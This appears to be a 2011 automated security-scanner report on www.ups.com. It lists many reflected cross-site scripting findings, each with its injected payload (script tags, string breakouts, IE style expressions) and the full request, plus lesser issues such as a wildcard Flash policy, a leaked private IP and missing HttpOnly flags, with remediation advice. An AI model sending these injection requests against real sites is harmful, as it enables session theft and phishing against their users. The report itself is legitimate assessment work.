Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the WT.svl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26423"style%3d"x%3aexpression(alert(1))"812e8affcde was submitted in the WT.svl parameter. This input was echoed as 26423"style="x:expression(alert(1))"812e8affcde in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg26423"style%3d"x%3aexpression(alert(1))"812e8affcde HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the contentID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5671e"style%3d"x%3aexpression(alert(1))"448b2d12e4d was submitted in the contentID parameter. This input was echoed as 5671e"style="x:expression(alert(1))"448b2d12e4d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView&contentID=ct1_sol_cat_wireless5671e"style%3d"x%3aexpression(alert(1))"448b2d12e4d&WT.svl=BnrMsg HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the contentID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload efbc4"%3balert(1)//93fbe178aa8 was submitted in the contentID parameter. This input was echoed as efbc4";alert(1)//93fbe178aa8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView&contentID=ct1_sol_cat_wirelessefbc4"%3balert(1)//93fbe178aa8&WT.svl=BnrMsg HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the loc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62a59"style%3d"x%3aexpression(alert(1))"8a16ce3099f was submitted in the loc parameter. This input was echoed as 62a59"style="x:expression(alert(1))"8a16ce3099f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;62a59"style%3d"x%3aexpression(alert(1))"8a16ce3099f&viewID=categoryView&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c369b"%3balert(1)//e812e01b8f4 was submitted in the loc parameter. This input was echoed as c369b";alert(1)//e812e01b8f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;c369b"%3balert(1)//e812e01b8f4&viewID=categoryView&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD> <meta name="DCSext.pgf_Site" content="Country"> <meta name="DCSext.pCC" content="US"> <meta name="DCSex ...[SNIP]... ww.adobe.com/go/getflashplayer", "FlashVars", "bspa_xmlRoot=/xml/ria/na/us/en/bussol/&contentID=ct1_sol_cat_wireless&hash=1313845523748&loc=a" onmouseup="javascript:document.title=1313844824642004;c369b";alert(1)//e812e01b8f4&v=2.0.4&viewID=categoryView" ); } else { // flash is too old or we can't detect the plugin document.getElementById("noflashdiv").style.display = "block"; } </script> ...[SNIP]...
1.6. http://www.ups.com/bussol [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ups.com
Path:
/bussol
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ced8"%3balert(1)//986c59428fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6ced8";alert(1)//986c59428fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg&6ced8"%3balert(1)//986c59428fb=1 HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
1.7. http://www.ups.com/bussol [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ups.com
Path:
/bussol
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24664"><script>alert(1)</script>e20cbfc6036 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg&24664"><script>alert(1)</script>e20cbfc6036=1 HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the viewID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d618"%3balert(1)//7a84aaccae4 was submitted in the viewID parameter. This input was echoed as 2d618";alert(1)//7a84aaccae4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView2d618"%3balert(1)//7a84aaccae4&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the viewID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65a4a"style%3d"x%3aexpression(alert(1))"c1a3a31697b was submitted in the viewID parameter. This input was echoed as 65a4a"style="x:expression(alert(1))"c1a3a31697b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView65a4a"style%3d"x%3aexpression(alert(1))"c1a3a31697b&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the WBPM_lid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc441"><script>alert(1)</script>ce2b72fb400 was submitted in the WBPM_lid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the appid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4e9e"><script>alert(1)</script>162a845474c was submitted in the appid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the formAction request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8eddc"><script>alert(1)</script>8e684956a59 was submitted in the formAction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the loc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33854"><script>alert(1)</script>8b42eacb84d was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the loc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd9dd"><script>alert(1)</script>e86155390ee was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the localeCountry request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef639"><script>alert(1)</script>3d43a8340e4 was submitted in the localeCountry parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.16. http://www.ups.com/dropoff [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ups.com
Path:
/dropoff
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd10b"><script>alert(1)</script>e624eadde3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originCity request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83a72"><script>alert(1)</script>909e36f53bc was submitted in the originCity parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originCityHist request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae40c"><script>alert(1)</script>eb951f8ecb3 was submitted in the originCityHist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originCountry request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89548"><script>alert(1)</script>d374b7bc142 was submitted in the originCountry parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originPostal request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d3a1"><script>alert(1)</script>7d331c08ec3 was submitted in the originPostal parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originPostalHist request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8160b"><script>alert(1)</script>92a9a0c9a59 was submitted in the originPostalHist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originState request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38b9b"><script>alert(1)</script>b99e0d0e0fc was submitted in the originState parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originStateHist request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1467e"><script>alert(1)</script>7451bb3fc1d was submitted in the originStateHist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the originStreet request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3ad7"><script>alert(1)</script>cb445347d7f was submitted in the originStreet parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the userState request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7662f"><script>alert(1)</script>d2c98762bff was submitted in the userState parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.ups.com
Response
HTTP/1.1 200 OK Date: Sat, 20 Aug 2011 13:05:11 GMT Server: Apache Last-Modified: Sun, 04 Jan 2009 01:10:32 GMT Accept-Ranges: bytes Content-Length: 104 Vary: User-Agent Connection: close Content-Type: text/xml
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
<img src="/img/en/hp_710x400_dmbc_0811.jpg" width="710" height="400" alt="Like us on Facebook and learn more about the tour" border="0" > ...[SNIP]... <div class="hero-wrapper"> <a href="http://www.facebook.com/ups?sk=app_174150315968755" target="new&WT.ac=UPS_Homepage_UPSFacebookGoGreenDMBC_Marketing_en_us" style="text-decoration:none;" >
<img src="/img/en/hp_710x400_dmbc_0811.jpg" width="710" height="400" alt="Like us on Facebook and learn more about the tour" border="0" > ...[SNIP]... <div class="hero-wrapper"> <a href="https://franchise.theupsstore.com/" target="new?WT.ac=UPS_Homepage_TUPSSFranchiseSales_Marketing_en_us" style="text-decoration:none;" >
<img src="/img/en/hp_710x400_tupps_0811.jpg" width="710" height="400" alt="The UPS Store franchise opportunities" border="0" > ...[SNIP]... <li><a href="http://ccc01.opinionlab.com/o.asp?id=WmcejheE&t1=0&t2=0&referrer=www.ups.com" target="_blank"><img title="[+] Site Feedback" alt="[+] Site Feedback" src="/img/icn_plus_white.gif" width="9" height="9"> ...[SNIP]... <li><a href="http://www.upsjobs.com/?WT.svl=Footer">Careers</a> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /bussol?loc=a%22%20onmouseup=%22javascript:document.title=1313844824642004;&viewID=categoryView&contentID=ct1_sol_cat_wireless&WT.svl=BnrMsg HTTP/1.1 Host: www.ups.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The following RFC 1918 IP address was disclosed in the response:
10.7.1.0
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.ups.com
Response
HTTP/1.1 200 OK Date: Sat, 20 Aug 2011 13:05:12 GMT Server: Apache Last-Modified: Fri, 28 Jan 2011 14:05:11 GMT Accept-Ranges: bytes Content-Length: 166 Vary: User-Agent Connection: close Content-Type: text/plain
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response contains the following Content-type statement:
Content-Type: text/plain
The response states that it contains plain text. However, it actually appears to contain unrecognised content.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
